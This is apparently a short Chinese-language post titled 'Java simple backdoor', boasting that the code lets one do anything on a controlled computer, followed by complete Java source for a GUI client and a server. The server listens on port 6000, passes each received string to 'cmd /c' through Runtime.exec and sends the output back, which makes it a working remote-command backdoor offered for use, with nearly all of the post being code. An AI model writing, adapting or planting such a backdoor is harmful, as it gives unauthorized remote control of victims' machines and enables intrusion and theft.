JAVA简单后门程序
主要是用网络编程技巧,调用被控计算机的本地命令,这样就可以为所欲为了。。。
客户端:
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import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Client extends Frame implements ActionListener { Label label = new Label( "指令" ); Panel panel = new Panel(); TextField tf = new TextField( 20 ); TextArea ta = new TextArea(); Socket client; InputStream in; OutputStream out; public Client() { super ( "客户机" ); setSize( 250 , 250 ); panel.add(label); panel.add(tf); tf.addActionListener( this ); add( "South" , panel); add( "Center" , ta); addWindowListener( new WindowAdapter() { //退出 public void windowClosing(WindowEvent e) { System.exit( 0 ); } }); show(); try { client = new Socket(InetAddress.getLocalHost(), 6000 ); //向6000端口发出客户请求 ta.append( "服务器是:" + client.getInetAddress().getHostAddress() + "\n\n" ); in = client.getInputStream(); out = client.getOutputStream(); } catch (IOException ioe) { } while ( true ) { try { byte [] buf = new byte [ 256 ]; in.read(buf); String str = new String(buf); ta.append(str + "\n" ); } catch (IOException e) { } } } public void actionPerformed(ActionEvent e) { try { String str = tf.getText(); byte [] buf = str.getBytes(); tf.setText( null ); out.write(buf); ta.append( "\n指令:" + str + "\n" ); } catch (IOException ioe) { } } public static void main(String[] args) { new Client(); } } |
服务端:
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import java.io.*; import java.net.*; import java.awt.*; import java.awt.event.*; public class Server extends Frame { ServerSocket server; Socket client; InputStream in; OutputStream out; public Server() { super ( "服务器" ); setSize( 250 , 250 ); addWindowListener( new WindowAdapter(){ public void windowClosing(WindowEvent e) { System.exit( 0 ); } }); show(); try { server= new ServerSocket( 6000 ); client=server.accept(); in=client.getInputStream(); out=client.getOutputStream(); } catch (IOException ioe){} while ( true ){ try { String Result= null ; byte []buf= new byte [ 256 ]; in.read(buf); String str= new String(buf); Process p = Runtime.getRuntime().exec( "cmd /c " +str); BufferedReader br= new BufferedReader( new InputStreamReader(p.getInputStream())); while ((Result=br.readLine())!= null ) { out.write(Result.getBytes()); } } catch (IOException e){} } } public static void main(String[]args) { new Server(); } } |